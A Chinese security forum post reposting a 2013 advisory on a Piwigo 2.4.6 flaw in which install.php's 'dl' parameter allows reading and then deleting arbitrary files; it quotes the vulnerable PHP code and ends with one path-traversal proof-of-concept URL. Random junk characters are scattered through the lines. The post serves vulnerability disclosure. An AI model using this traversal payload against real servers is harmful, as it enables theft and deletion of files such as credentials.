找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2828|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。$ u# R0 x: [9 G( K
# a, o5 v) i/ d8 e
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。2 c2 W" o/ G, _+ ~2 A1 O8 ^9 ]- X% Q
====================================================================2 m8 {; a. z9 l' }. {, x( h. S
/install.php:
, o: M2 r* l& |8 y5 |2 Q* G. ]-------------
3 {0 w' \$ k9 N0 }$ O. v' {4 w: r$ \+ {113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))& J2 Z9 _$ m9 u( e; ~/ s
114: {
0 q: d; I* U3 G. _115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
# a& W6 w9 p( t2 O# [116:   header('Cache-Control: no-cache, must-revalidate');
: X1 k" Q# e* b8 X117:   header('Pragma: no-cache');
) _6 w2 `! p/ k  `/ ]118:   header('Content-Disposition: attachment; filename="database.inc.php"');+ W' u7 S2 H) d8 {- Y
119:   header('Content-Transfer-Encoding: binary');
1 F' @' t: z0 _1 e# U, L& ^) a8 M120:   header('Content-Length: '.filesize($filename));$ Q( x6 U1 x: q/ X
121:   echo file_get_contents($filename);
" ~! i, f5 X/ I/ ^+ x/ I: V0 H2 R122:   unlink($filename);
% x: t, v0 Z- g: N- ?123:   exit();
: I$ z9 [1 y+ m- I' H124: }% o- p& O  ?3 s" t& l# s, |/ \
====================================================================
9 D, W# o( k( ~2 D0 k: e
: j2 T* k5 `, w6 n" b9 qTested on: Microsoft Windows 7 Ultimate SP1 (EN)
. o; n! _2 f3 p           Apache 2.4.2 (Win32)
7 [0 V* f3 v7 A6 B2 e           PHP 5.4.4
  @% n+ r$ V9 J2 {           MySQL 5.5.25a
! x2 G) w0 M/ w8 S" [- y
7 x1 B% p$ ^2 e0 Y* h  v$ mVulnerability discovered by Gjoko 'LiquidWorm' Krstic
: }0 \" |- v7 f                            @zeroscience* @* ?% ?  v1 c% V. |& l0 F6 c

* ?2 ?. Z4 y" a# h2 _9 ?8 ZAdvisory ID: ZSL-2013-5127
$ f& w: g/ S; @2 QAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
1 S2 [% v0 X* A/ h) iVendor Patch: http://piwigo.org/bugs/view.php?id=2843
& O) z7 Q0 `, p$ i * h  t4 ]5 Y, P! d; U% d+ R
15.02.20131 c1 |" K% H( e! `0 J

1 G2 e7 u& ]+ Q" A% @  L$ ]--
4 J' Q( X2 ]: _! @http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt, M0 W" x3 l% |  k' N( B

! ^; V2 O  c! q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表